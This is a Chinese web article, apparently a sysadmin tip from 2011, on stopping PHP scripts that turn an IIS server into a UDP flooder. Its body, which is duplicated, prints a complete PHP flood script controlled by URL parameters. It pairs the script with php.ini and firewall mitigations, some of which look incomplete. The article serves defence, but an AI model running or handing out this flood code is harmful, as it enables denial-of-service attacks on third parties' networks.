防止用戶利用PHP代碼DOS造成用光網(wǎng)絡(luò)帶寬
更新時間:2011年03月01日 16:00:12 作者:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
用PHP代碼調(diào)用sockets,直接用服務(wù)器的網(wǎng)絡(luò)攻擊別的IP,常見代碼如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表現(xiàn)特征:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
解決辦法:
禁止上述的代碼:
在c:\windows\php.ini里設(shè)置:
disable_functions =gzinflate;
在c:\windows\php.ini里設(shè)其值為Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;號一定要有,意思就是限制用sockets.dll
前面的;號要保留
然后重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.
另外,對于沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火墻中,禁止所有udp向外發(fā)送
2.用一流信息監(jiān)控,在SQL攔截及網(wǎng)址攔截中,攔截port=這個關(guān)鍵詞
復(fù)制代碼 代碼如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表現(xiàn)特征:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
解決辦法:
禁止上述的代碼:
在c:\windows\php.ini里設(shè)置:
disable_functions =gzinflate;
在c:\windows\php.ini里設(shè)其值為Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;號一定要有,意思就是限制用sockets.dll
前面的;號要保留
然后重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.
另外,對于沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火墻中,禁止所有udp向外發(fā)送
2.用一流信息監(jiān)控,在SQL攔截及網(wǎng)址攔截中,攔截port=這個關(guān)鍵詞
相關(guān)文章
騰訊微博提示missing parameter errorcode 102 錯誤的解決方法
這篇文章主要介紹了騰訊微博提示missing parameter errorcode 102 錯誤的解決方法,是針對騰訊微博接口開發(fā)中比較典型的錯誤問題,需要的朋友可以參考下2014-12-12
PHP連接SQL server數(shù)據(jù)庫測試腳本運行實例
這篇文章主要介紹了PHP連接SQL server數(shù)據(jù)庫測試腳本運行實例,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-08-08
php通過header發(fā)送自定義數(shù)據(jù)方法
下面小編就為大家分享一篇php通過header發(fā)送自定義數(shù)據(jù)方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-01-01
PHP調(diào)用Twitter的RSS的實現(xiàn)代碼
“守望軒”博客右側(cè)邊欄原來有個“雜感”的欄目,用來記錄短的、不能大篇幅成文的短句,或者自己比較喜歡的短句和言論。2010-03-03

